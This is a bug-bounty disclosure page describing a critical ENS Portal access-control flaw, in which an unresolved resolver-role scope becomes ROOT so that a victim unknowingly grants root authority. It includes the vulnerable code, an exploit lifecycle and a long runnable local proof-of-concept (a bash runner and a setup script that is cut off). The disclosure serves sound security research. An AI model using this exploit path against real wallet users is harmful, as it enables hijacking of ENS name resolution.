Skip to content
Access control Audit finding Advanced

Portal treats an unresolved resolver-role scope as ROOT, enabling cross-name resolution hijacking

The ENS Portal treated an unresolved resolver-role scope as ROOT, so when a victim edited a stale name-scoped role after moving a name to another resolver, the wallet was asked to approve a root grant instead. This gave the delegate root authority over unrelated names on the shared resolver, letting them redirect those names' resolution to an attacker address.

coinsspor Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

91855 w a critical portal treats an unresolved resolver role scope as root enabling cross name resolution hijacking

#91855 [W&A-Critical] Portal treats an unresolved resolver-role scope as ROOT, enabling cross-name resolution hijacking

Submitted on Sep 4th 2026 at 21:15:31 UTC by @coinsspor for Audit Competition | ENS

  • Report ID: #91855
  • Report Type: Websites & Apps
  • Report severity: Critical
  • Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/apps/portal
  • Impacts:
    • Malicious interactions with an already-connected wallet, such as: Modifying transaction arguments or parameters Substituting contract addresses Submitting malicious transactions Signing or submitting a transaction against the wrong chain (for example when the request's target chain is not validated) Inducing a blanket token approval (for example setApprovalForAll on the registry or NameWrapper) to an attacker-controlled address

Description

Brief/Intro

ENS Portal leaves a PermissionedResolver authorization row editable when it cannot bind that row's resource to an ENS name. The sidebar converts this unknown scope to name = '', which the transaction builder explicitly interprets as ROOT. A normal resolver change creates this state without any incorrect indexer response: the moved name disappears from the old resolver's current nodes, while its on-chain name-scoped role assignment remains on that resolver. When the victim later edits this stale role through the normal Portal workflow, Portal asks the connected wallet to approve grantRootRoles(...) instead of a name-scoped grant. The delegate gains new authority over unrelated names on the shared resolver and can redirect their ENS resolution to an attacker-controlled address.

Vulnerability Details

Affected asset and revision

  • Asset: apps/portal
  • Audited upstream revision: 63772fd872af472ced58b009499355f3430c2a86
  • Public competition import tested: cda79acaad59711b943fc68207ebb3f1d0ff8596

The PoC verifies the exact import commit before execution and runs the production Portal build against the official isolated ENS environment.

Root cause

Portal constructs the authorization resource-to-name map only from the resolver's current nodes:

TS
// apps/portal/src/lib/roles/resolverRoles.ts:138-159
export const computeNameResource = (name: string): string =>
  keccak256(
    encodePacked(['bytes32', 'bytes32'], [namehash(name), ZERO_BYTES32]),
  )

for (const node of nodes) {
  if (node.name) {
    map.set(computeNameResource(node.name).toLowerCase(), node.name)
  }
}

This is insufficient for authorizing role mutations. If a name is moved from Resolver A to Resolver B, a correct indexer removes the name from Resolver A's current nodes. The pre-existing role assignment can remain on Resolver A, however, and still appears in Resolver A's roles. Portal has no current node from which to reconstruct that role's name.

groupRolesByAccount() retains the role but records no resolved name:

TS
// apps/portal/src/lib/roles/resolverRoles.ts:193-219
const resolvedName = resourceToName?.get(resource) ?? null

if (resolvedName) names.add(resolvedName)

resolvedNames: Array.from(g.resolvedNames)

The sidebar then converts the missing scope into the same empty-string value used for ROOT:

TS
// apps/portal/src/features/resolver/components/ResolverRolesSidebar.tsx:165-169
const resolvedNames = row?.original.resolvedNames ?? []
const roleName = resolvedNames.find((n) => n !== '(root)') ?? ''

The normal Edit/Save flow carries that value into the mutation:

TS
// ResolverRolesSidebar.tsx:195-237 and 295-303
await grantResolverRoles({ name, account, roles: rolesToGrant, ... })

setPendingAction({
  type: 'save',
  name: roleName,
  account: selectedAccount,
  rolesToGrant,
  rolesToRevoke,
})

Finally, the helper deliberately interprets name === '' as resolver ROOT:

TS
// apps/portal/src/features/resolver/helpers/grantResolverRoles.ts:45-60
name === ''
  ? { resolverAddress, targetAccount: account, scope: 'root', roles }
  : { resolverAddress, targetAccount: account, scope: 'name', name, roles }

This is not an unavoidable empty-name convention. Portal already models a verified root assignment explicitly as resolvedNames = ['(root)'], because buildResourceToNameMap() maps ROOT_RESOURCE to '(root)'. An unresolved assignment is separately represented as resolvedNames = []. The defect is collapsing these distinguishable states into the same ROOT mutation sentinel.

The contract also publishes the resource/name relationship in its NamedResource event. Portal nevertheless authorizes later mutations using a scope reconstructed solely from the resolver's current-node projection instead of preserving or verifying the original authorization identity.

Normal production lifecycle

  1. The victim owns alpha.eth and beta.eth; both initially use Resolver A.
  2. The victim gives the attacker only name-scoped ROLE_SET_TEXT on alpha.
  3. The attacker has no ROOT ROLE_SET_ADDR, no beta ROLE_SET_ADDR, cannot change beta and cannot grant itself ROOT authority. Both exact calls revert.
  4. Using Portal's normal Change resolver workflow, the victim deploys Resolver B and moves alpha from Resolver A to Resolver B.
  5. Real Panoptes correctly reports beta—but no alpha—in Resolver A's current nodes; the on-chain alpha-scoped role assignment remains in Resolver A's roles.
  6. Portal presents that unresolved authorization row with an ordinary Edit action. The victim enables Address Manager and clicks Save.
  7. Portal submits grantRootRoles(1, attacker) to the connected wallet rather than a name-scoped grant.
  8. The successful transaction gives the attacker ROOT SET_ADDR authority over Resolver A, including unrelated beta.
  9. The attacker independently executes the exact beta setAddr call that reverted before the Portal transaction.
  10. The official Universal Resolver changes beta from the victim address to the attacker address.

There is no race, narrow timing window, fabricated role row, stale or incorrect indexer response, mocked security state, DevTools modification, local-storage edit, or independent payer.

Indexer-scope independence

The frozen build also exposes a secondary Panoptes resource-representation difference. To ensure this report does not depend on treating that out-of-scope component as vulnerable, I applied a compatibility-only control that changes only Portal's node-map key to the representation returned by Panoptes. It does not add the candidate-specific fail-closed fix or modify either transaction builder.

With that compatibility control:

before resolver change:
  initialAlphaPresent = true
  initialRolePresent = true
  initialPortalMappedName = alpha.eth

after the normal resolver change:
  alphaPresentAfterResolverChange = false
  betaPresentAfterResolverChange = true
  rolePresentAfterResolverChange = true
  Resolver A nodeCount = 1

Portal then reproduced the same unresolved row, mined grantRootRoles(1, attacker), and allowed the same beta hijack. Therefore a minimal correction of the Panoptes representation difference does not repair the finding. The independent in-scope defect is Portal's fail-open conversion of any unresolved authorization scope into explicit ROOT.

Unique security delta and controls

Before the Portal bug:

attacker alpha ROLE_SET_TEXT = true
attacker ROOT ROLE_SET_ADDR  = false
attacker beta ROLE_SET_ADDR  = false
attacker setAddr(beta)       = REVERT
attacker grantRootRoles      = REVERT
unrelated control setAddr    = REVERT
beta Universal Resolver      = victim

After the Portal transaction:

decoded transaction          = grantRootRoles(1, attacker)
transaction status           = success
attacker ROOT ROLE_SET_ADDR  = true
effective beta SET_ADDR      = true
attacker setAddr(beta)       = success
beta Universal Resolver      = attacker

This is not persistence of authority the attacker previously possessed. The attacker could modify only alpha text data before the bug and could not produce the beta effect or self-create ROOT. The victim's wrong Portal transaction is necessary for the new cross-resource capability.

Independence from prior reports

Submission #90459, matched to #89253, concerns groupRolesByAccount() merging different resources for one account and a Remove-user action revoking only one represented resource. Its natural (account, resource) grouping fix was applied in isolation; this complete resolver-change P4 exploit still passed.

The cached V1-owner migration family matched to #89249 concerns Manager restoring a stale V1 principal during migration. This report uses no migration, cached owner, or execution-time owner-rebind primitive.

The weaker unresolved-row Remove-user behavior and the Edit/Save over-grant share the same unresolved-resource to empty-string to ROOT-sentinel root cause. They are one finding. This report uses over-grant as the primary consequence because it proves a capability the attacker never possessed before.

Recommended remediation

Treat authorization scope as a tagged, verified value rather than overloading the empty string:

  • preserve the original resource/name binding as first-class data;
  • represent verified ROOT and unresolved scope as different states;
  • disable grant/revoke mutations when the resource cannot be verified as a concrete name or explicit ROOT;
  • never allow an unresolved resource to reach a root-role transaction builder.

The executed experimental fix makes unresolved rows read-only. After the same resolver-change lifecycle, Save and Remove are unavailable, ROOT and beta roles remain false, the attacker beta call still reverts, and the native resolver-role suite passes 16/16.

Impact Details

The selected in-scope Critical impact is:

Malicious interactions with an already-connected wallet, such as modifying transaction arguments or parameters or submitting malicious transactions.

The connected victim intends to edit a narrow delegate relationship. Portal instead constructs a maximally broader ROOT authorization transaction. The PoC captures the actual wallet request, decodes it as grantRootRoles(1, attacker), mines it successfully, and proves that the newly created authority enables an unauthorized record change on unrelated beta.

The attacker-driven terminal effect occurs before recovery: beta's official Universal Resolver result changes from the victim address to the attacker address. The attacker cannot force when or whether the victim edits the role, but after approval there is no race or timeout; ROOT authority persists until the victim detects and explicitly revokes it.

Recovery is not automatic or immediate. After detection, the victim must send two on-chain transactions: revoke the erroneous ROOT role and restore beta's record. The PoC executes recovery only after the attacker has modified beta and attacker-controlled resolution has been observed. Recovery restores future state but cannot retroactively undo actions completed while the unauthorized ROOT role was active.

This report does not claim permanent takeover, irrecoverable state, direct fund theft, or a third-party payment.

References

Proof of Concept

Proof of Concept

What this PoC proves

This is a real production-build Portal, real Panoptes, real wallet-request and isolated local-chain reproduction against public competition import cda79acaad59711b943fc68207ebb3f1d0ff8596 of audited revision 63772fd872af472ced58b009499355f3430c2a86.

It proves the following causal sequence:

  1. Alpha and beta initially use Resolver A.
  2. The attacker receives only alpha-scoped ROLE_SET_TEXT.
  3. Control A proves the attacker cannot modify beta.
  4. Control B proves the attacker cannot grant itself ROOT.
  5. The victim uses Portal's normal Change resolver workflow to move alpha to newly deployed Resolver B.
  6. Real Panoptes correctly removes alpha from Resolver A's current nodes, keeps beta there, and keeps the on-chain alpha role assignment in Resolver A's roles.
  7. Portal leaves the resulting unresolved role mutable.
  8. The victim uses the normal Edit user roles flow and enables Address Manager.
  9. The captured wallet request decodes to grantRootRoles(1, attacker), and the transaction succeeds.
  10. The attacker's exact beta setAddr call changes from revert to success.
  11. The official Universal Resolver changes beta from victim to attacker.
  12. Recovery happens afterward through two explicit victim transactions.

No GraphQL response, role row, wallet request, contract result, or resolver result is fabricated. There is no pagination, stale response, DevTools change, local-storage injection, public-network interaction, or third-party payment.

Clean reproduction

Requirements: Linux/WSL, Node.js 22+, pnpm 10, Git, Docker with Compose, and enough disk space for the frozen monorepo and Playwright Chromium.

Create the exact file tree below, then run:

Bash
git clone https://github.com/immunefi-team/audit-comp-ens.git frozen-src
git -C frozen-src checkout cda79acaad59711b943fc68207ebb3f1d0ff8596

chmod +x run-poc.sh
ENS_SOURCE_ROOT="$PWD/frozen-src" ./run-poc.sh final

The runner hard-fails on the wrong commit, starts isolated Anvil and the official Panoptes services, builds Portal, installs Chromium if needed, creates the real lifecycle, drives Chromium, captures the wallet request, asserts authoritative state and tears down the runtime.

Complete runnable files

run-poc.sh

Bash
#!/usr/bin/env bash
set -euo pipefail

package_root="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
source_root="${ENS_SOURCE_ROOT:-$package_root/frozen-src}"
expected_sha="cda79acaad59711b943fc68207ebb3f1d0ff8596"
run_label="${1:-final}"
compose_project="enscand001v5${run_label//[^a-zA-Z0-9]/}"
base_compose="$source_root/e2e/infra/docker-compose.yml"
override_compose="$package_root/poc/docker-compose.override.yml"
runtime_evidence="$package_root/evidence/runtime-$run_label"
portal_port="${PORTAL_PORT:-3203}"
portal_url="http://127.0.0.1:$portal_port"

for command_name in git node pnpm docker curl; do
  command -v "$command_name" >/dev/null 2>&1 || {
    echo "Missing required command: $command_name" >&2
    exit 1
  }
done
docker compose version >/dev/null

if ! git -C "$source_root" rev-parse --git-dir >/dev/null 2>&1; then
  echo "Missing frozen checkout at $source_root" >&2
  echo "Clone the competition repository and checkout $expected_sha." >&2
  exit 1
fi
actual_sha="$(git -C "$source_root" rev-parse HEAD)"
[[ "$actual_sha" == "$expected_sha" ]] || {
  echo "Wrong source revision: expected $expected_sha, found $actual_sha" >&2
  exit 1
}
[[ "$(node -p 'Number(process.versions.node.split(`.`)[0])')" -ge 22 ]] || {
  echo "Node 22 or newer is required." >&2
  exit 1
}

install -D "$package_root/poc/cand001-overgrant-setup.ts" \
  "$source_root/e2e/scripts/cand001-overgrant-setup.ts"
install -D "$package_root/poc/cand001-overgrant.spec.ts" \
  "$source_root/e2e/projects/portal/tests/cand001-overgrant.spec.ts"
install -D "$package_root/poc/cand001-empty-name.test.ts" \
  "$source_root/apps/portal/src/features/resolver/helpers/cand001-empty-name.test.ts"

if [[ ! -d "$source_root/node_modules" ]]; then
  pnpm --dir "$source_root" install --frozen-lockfile
fi
pnpm --dir "$source_root/e2e" exec playwright install chromium

mkdir -p "$runtime_evidence"
fixture="$runtime_evidence/fixture.json"
diff -u "$source_root/e2e/infra/panoptes/contracts.json" \
  "$package_root/poc/panoptes-contracts.cand001.json" \
  >"$runtime_evidence/panoptes-config.diff" || true
preview_pid=""
cleanup() {
  [[ -z "$preview_pid" ]] || kill "$preview_pid" 2>/dev/null || true
  PANOPTES_CONTRACTS_FILE="$package_root/poc/panoptes-contracts.cand001.json" \
    docker compose -p "$compose_project" -f "$base_compose" -f "$override_compose" \
    down -v --remove-orphans >/dev/null 2>&1 || true
}
trap cleanup EXIT

PANOPTES_CONTRACTS_FILE="$package_root/poc/panoptes-contracts.cand001.json" \
  docker compose -p "$compose_project" -f "$base_compose" -f "$override_compose" \
  down -v --remove-orphans >/dev/null 2>&1 || true
PANOPTES_CONTRACTS_FILE="$package_root/poc/panoptes-contracts.cand001.json" \
  docker compose -p "$compose_project" -f "$base_compose" -f "$override_compose" \
  up -d anvil panoptes-indexer panoptes-api

for _ in $(seq 1 180); do
  if curl -fsS -H 'content-type: application/json' \
    --data '{"jsonrpc":"2.0","id":1,"method":"eth_chainId","params":[]}' \
    http://127.0.0.1:8754 >/dev/null && \
    curl -fsS -H 'content-type: application/json' \
      --data '{"query":"query{__typename}"}' \
      http://127.0.0.1:5855/graphql >/dev/null; then break; fi
  sleep 1
done
curl -fsS -H 'content-type: application/json' \
  --data '{"query":"query{__typename}"}' \
  http://127.0.0.1:5855/graphql >/dev/null

ANVIL_RPC_URL=http://127.0.0.1:8754 \
INDEXER_GRAPHQL_URL=http://127.0.0.1:5855/graphql \
CAND001_FIXTURE_OUTPUT="$fixture" \
  pnpm --dir "$source_root/e2e" exec tsx scripts/cand001-overgrant-setup.ts \
  2>&1 | tee "$runtime_evidence/lifecycle.log"

VITE_SEPOLIA_RPC_URL=http://127.0.0.1:8754 \
VITE_INDEXER_GRAPHQL_URL=http://127.0.0.1:5855/graphql \
  pnpm --dir "$source_root" --filter portal exec vite build \
  >"$runtime_evidence/portal-build.log" 2>&1
(
  cd "$source_root/apps/portal"
  pnpm exec vite preview --host 127.0.0.1 --port "$portal_port"
) >"$runtime_evidence/portal-preview.log" 2>&1 &
preview_pid=$!
for _ in $(seq 1 120); do
  curl -fsS "$portal_url" >/dev/null && break
  sleep 1
done
curl -fsS "$portal_url" >/dev/null

pnpm --dir "$source_root" --filter portal exec vitest run \
  src/features/resolver/helpers/cand001-empty-name.test.ts \
  2>&1 | tee "$runtime_evidence/helper-test.log"

ANVIL_RPC_URL=http://127.0.0.1:8754 \
INDEXER_GRAPHQL_URL=http://127.0.0.1:5855/graphql \
PORTAL_APP_URL="$portal_url" \
CAND001_FIXTURE_PATH="$fixture" \
POC_EVIDENCE_DIR="$runtime_evidence" \
CAND001_EXPECT_INITIAL_RESOLVED="${CAND001_EXPECT_INITIAL_RESOLVED:-false}" \
  pnpm --dir "$source_root/e2e" exec playwright test \
  --config=projects/portal/playwright.config.ts \
  --trace=on \
  --output="$runtime_evidence/playwright-results" \
  projects/portal/tests/cand001-overgrant.spec.ts \
  2>&1 | tee "$runtime_evidence/poc-run.log"

echo "ENS-NEW-001-v5 RESOLVER-CHANGE P4 OVER-GRANT PoC PASS"

poc/cand001-overgrant-setup.ts

TS
import { mkdir, writeFile } from 'node:fs/promises'
import { ensL1Contracts, supportedL1Chains } from '@ensdomains/ensjs/chain'
import { permissionedResolverAuthorizeNameRolesSnippet } from '@ensdomains/ensjs-abi/v2/permissionedResolver'
import {
  type Address,
  encodeFunctionData,
  encodePacked,
  keccak256,
  maxUint256,
  namehash,
  parseAbi,
  parseAbiItem,
  parseEventLogs,
  toHex,
  zeroAddress,
  zeroHash,
} from 'viem'
import { mnemonicToAccount } from 'viem/accounts'
import { packetToBytes } from 'viem/ens'
import { createMakeV2Name } from '../fixtures/makeV2Name.js'
import { publicClient, testClient, walletClient } from '../helpers/anvil-client.js'

const DEFAULT_MNEMONIC =
  'test test test test test test test test test test test junk'
const owner = mnemonicToAccount(DEFAULT_MNEMONIC, { addressIndex: 0 })
const attacker = mnemonicToAccount(DEFAULT_MNEMONIC, { addressIndex: 2 })
const contracts = ensL1Contracts[supportedL1Chains.sepolia]
const registry = contracts.ensRegistry.address
const registrar = contracts.ensEthRegistrar.address
const paymentToken = contracts.usdc.address
const indexerUrl =
  process.env.INDEXER_GRAPHQL_URL ?? 'http://127.0.0.1:5855/graphql'
const outputPath = process.env.CAND001_FIXTURE_OUTPUT
if (!outputPath) throw new Error('CAND001_FIXTURE_OUTPUT is required')

const ROLE_SET_ADDR = 1n
const ROLE_SET_TEXT = 1n << 4n
const ZERO_BYTES32 = `0x${'0'.repeat(64)}` as const
const registryAbi = parseAbi([
  'function getResolver(string label) view returns (address)',
])
const registrarAbi = parseAbi([
  'function makeCommitment(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, bytes32 referrer) pure returns (bytes32)',
  'function commit(bytes32 commitment)',
  'function register(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, address paymentToken, bytes32 referrer) returns (uint256 tokenId)',
  'function MIN_COMMITMENT_AGE() view returns (uint64)',
])
const erc20Abi = parseAbi([
  'function mint(address to, uint256 amount)',
  'function approve(address spender, uint256 amount) returns (bool)',
])
const resolverAbi = parseAbi([
  'function hasRoles(uint256 resource, uint256 roleBitmap, address account) view returns (bool)',
  'function hasRootRoles(uint256 roleBitmap, address account) view returns (bool)',
])
const rolesChangedEvent = parseAbiItem(
  'event EACRolesChanged(uint256 indexed resource, address indexed account, uint256 oldRoleBitmap, uint256 newRoleBitmap)',
)
const namedResourceEvent = parseAbiItem(
  'event NamedResource(uint256 indexed resource, bytes name)',
)

type ResolverOverview = {
  nodeCount: number
  nodes: Array<{ name: string | null }>
  roles: Array<{
    account: string
    resource: string
    roleBitmap: string
    name: string | null
  }>
}

const resourceForName = (name: string) =>
  keccak256(
    encodePacked(['bytes32', 'bytes32'], [namehash(name), ZERO_BYTES32]),
  )

async function fetchOverview(resolverAddress: Address) {
  const response = await fetch(indexerUrl, {
    method: 'POST',
    headers: { 'content-type': 'application/json' },
    body: JSON.stringify({
      query:
        'query($id:String!){resolver(id:$id){nodeCount nodes{name} roles{account resource roleBitmap name}}}',
      variables: { id: resolverAddress.toLowerCase() },
    }),
  })
  const json = (await response.json()) as {
    data?: { resolver?: ResolverOverview | null }
    errors?: unknown
  }
  if (json.errors) throw new Error(JSON.stringify(json.errors))
  return json.data?.resolver ?? null
}

async function waitForOverview(
  resolverAddress: Address,
  predicate: (overview: ResolverOverview) => boolean,
  timeoutMs = 120_000,
) {
  const deadline = Date.now() + timeoutMs
  while (Date.now() < deadline) {
    const overview = await fetchOverview(resolverAddress).catch(() => null)
    if (overview && predicate(overview)) return overview
    await new Promise((resolve) => setTimeout(resolve, 500))
  }
  throw new Error('indexer did not expose the two-name over-grant lifecycle')
}

async function registerWithSharedResolver(
  label: string,
  resolverAddress: Address,
) {
  const duration = 365n * 24n * 60n * 60n
  const secret = keccak256(toHex(`cand001-overgrant:${label}`))
  const mintHash = await walletClient.sendTransaction({
    account: owner,
    to: paymentToken,
    data: encodeFunctionData({
      abi: erc20Abi,
      functionName: 'mint',
      args: [owner.address, 10n ** 28n],
    }),
  })
  await publicClient.waitForTransactionReceipt({ hash: mintHash })
  const approveHash = await walletClient.sendTransaction({
    account: owner,
    to: paymentToken,
    data: encodeFunctionData({
      abi: erc20Abi,
      functionName: 'approve',
      args: [registrar, maxUint256],
    }),
  })
  await publicClient.waitForTransactionReceipt({ hash: approveHash })
  const commitment = await publicClient.readContract({
    address: registrar,
    abi: registrarAbi,
    functionName: 'makeCommitment',
    args: [
      label,
      owner.address,
      secret,
      zeroAddress,
      resolverAddress,
      duration,
      zeroHash,
    ],
  })
  const commitHash = await walletClient.sendTransaction({
    account: owner,
    to: registrar,
    data: encodeFunctionData({
      abi: registrarAbi,
      functionName: 'commit',
      args: [commitment],
    }),
  })
  await publicClient.waitForTransactionReceipt({ hash: commitHash })
  const minAge = await publicClient.readContract({
    address: registrar,
    abi: registrarAbi,
    functionName: 'MIN_COMMITMENT_AGE',
  })
  await testClient.increaseTime({ seconds: Number(minAge) + 1 })
  await testClient.mine({ blocks: 1 })
  const registerHash = await walletClient.sendTransaction({
    account: owner,
    to: registrar,
    data: encodeFunctionData({
      abi: registrarAbi,
      functionName: 'register',
      args: [
        label,
        owner.address,
        secret,
        zeroAddress,
        resolverAddress,
        duration,
        paymentToken,
        zeroHash,
      ],
    }),
  })
  const receipt = await publicClient.waitForTransactionReceipt({
    hash: registerHash,
  })
  return { commitHash, registerHash, status: receipt.status }
}

async function main() {
  await Promise.all([
    testClient.setCode({ address: owner.address, bytecode: '0x' }),
    testClient.setCode({ address: attacker.address, bytecode: '0x' }),
  ])

  const makeV2Name = createMakeV2Name({ userAccount: owner })
  const alphaName = await makeV2Name({ label: 'cand001-alpha' })
  const alphaLabel = alphaName.slice(0, -4)
  const resolverAddress = await publicClient.readContract({
    address: registry,
    abi: registryAbi,
    functionName: 'getResolver',
    args: [alphaLabel],
  })

  const betaLabel = `cand001-beta-${Date.now()}`
  const betaName = `${betaLabel}.eth`
  const betaRegistration = await registerWithSharedResolver(
    betaLabel,
    resolverAddress,
  )
  const alphaResource = resourceForName(alphaName)
  const betaResource = resourceForName(betaName)
  const expectedPanoptesResource = BigInt(alphaResource) & ~0xffffffffn

  // The only initial delegation is SET_TEXT on alpha. The later Portal edit
  // will attempt to add SET_ADDR to this narrow relationship.
  const grantHash = await walletClient.sendTransaction({
    account: owner,
    to: resolverAddress,
    data: encodeFunctionData({
      abi: permissionedResolverAuthorizeNameRolesSnippet,
      functionName: 'authorizeNameRoles',
      args: [
        toHex(packetToBytes(alphaName)),
        ROLE_SET_TEXT,
        attacker.address,
        true,
      ],
    }),
  })
  const grantReceipt = await publicClient.waitForTransactionReceipt({
    hash: grantHash,
  })
  const alphaGrantEvents = parseEventLogs({
    abi: [rolesChangedEvent],
    logs: grantReceipt.logs,
    strict: true,
  })
  const alphaGrantEvent = alphaGrantEvents.find(
    (event) =>
      event.args.account.toLowerCase() === attacker.address.toLowerCase() &&
      (event.args.newRoleBitmap & ROLE_SET_TEXT) !== 0n,
  )
  if (!alphaGrantEvent) {
    throw new Error('alpha grant receipt did not emit EACRolesChanged')
  }
  if (alphaGrantEvent.args.resource !== BigInt(alphaResource)) {
    throw new Error(
      `contract event resource did not match Portal/contract raw resource: expected ${alphaResource}, emitted ${alphaGrantEvent.args.resource}`,
    )
  }
  const namedResourceEvents = parseEventLogs({
    abi: [namedResourceEvent],
    logs: grantReceipt.logs,
    strict: true,
  })
  const namedResourceLog = namedResourceEvents.find(
    (event) => event.args.resource === BigInt(alphaResource),
  )
  if (!namedResourceLog) {
    throw new Error('alpha grant receipt did not emit matching NamedResource')
  }
  const encodedAlphaName = toHex(packetToBytes(alphaName))
  if (namedResourceLog.args.name.toLowerCase() !== encodedAlphaName.toLowerCase()) {
    throw new Error('NamedResource did not bind the emitted raw resource to alpha')
  }

  const overview = await waitForOverview(
    resolverAddress,
    (value) => {
      const names = value.nodes.map((node) => node.name?.toLowerCase())
      return (
        names.includes(alphaName.toLowerCase()) &&
        names.includes(betaName.toLowerCase()) &&
        value.roles.some(
          (role) =>
            role.account.toLowerCase() === attacker.address.toLowerCase() &&
            (BigInt(role.roleBitmap) & ROLE_SET_TEXT) !== 0n,
        )
      )
    },
  )
  const indexedRole = overview.roles.find(
    (role) =>
      role.account.toLowerCase() === attacker.address.toLowerCase() &&
      (BigInt(role.roleBitmap) & ROLE_SET_TEXT) !== 0n,
  )
  if (!indexedRole) throw new Error('indexed alpha role disappeared')

  const portalMappedName = overview.nodes.find(
    (node) =>
      node.name &&
      resourceForName(node.name).toLowerCase() ===
        indexedRole.resource.toLowerCase(),
  )?.name
  if (BigInt(indexedRole.resource) !== expectedPanoptesResource) {
    throw new Error('indexed alpha resource did not match the observed Panoptes base identity')
  }
  if (BigInt(indexedRole.resource) === alphaGrantEvent.args.resource) {
    throw new Error(
      'expected Panoptes base resource to differ from the raw contract resource',
    )
  }
  if (overview.nodeCount !== 2 || overview.nodes.length !== 2) {
    throw new Error(
      `expected complete 2/2 projection, got ${overview.nodes.length}/${overview.nodeCount}`,
    )
  }
  if (portalMap

The original report as published on Immunefi, by coinsspor. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the portal builds its resource-to-name map only from the resolver's current nodes, so a role whose name has moved away has no resolved name, and the empty string is then overloaded to mean ROOT in the transaction builder.

Impact

The victim's wallet could be induced to submit a root grant, giving the attacker authority to redirect resolution of unrelated names on the shared resolver; the attacker cannot force when the victim edits the role, and recovery requires two explicit on-chain transactions.

What the attacker needed

Victim owns two names on one resolver; attacker holds a name-scoped role on one name; victim moves that name to another resolver; victim edits the stale role and approves

The fix

The portal should treat authorization scope as a tagged, verified value, keep verified ROOT and unresolved scope as distinct states, and disable grant/revoke mutations when the resource cannot be verified; the report says an experimental fix making unresolved rows read-only was executed and passed…

How it was found

  1. Victim owns two names on Resolver A and grants the attacker only a name-scoped text role on one of them.
  2. Victim uses the normal Change resolver workflow to move that name to a newly deployed Resolver B.
  3. The indexer removes the moved name from Resolver A's current nodes but the on-chain role assignment remains.
  4. Portal shows the unresolved role row with an ordinary Edit action.
  5. Victim enables Address Manager and clicks Save, and the wallet is asked to approve a root grant.
  6. The attacker then changes the unrelated name's address record, which now succeeds.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A resolver is the part of ENS that stores records for a name, and roles let an owner give someone limited permission over specific names. The portal lost track of which name a permission belonged to after the name was moved, and instead of refusing to edit it, it sent a much broader 'root' permission covering every name on that resolver. The victim thought they were editing a narrow permission but actually approved a wide one.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by coinsspor

View all

9 more disclosed reports, best first.

More from ENS

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.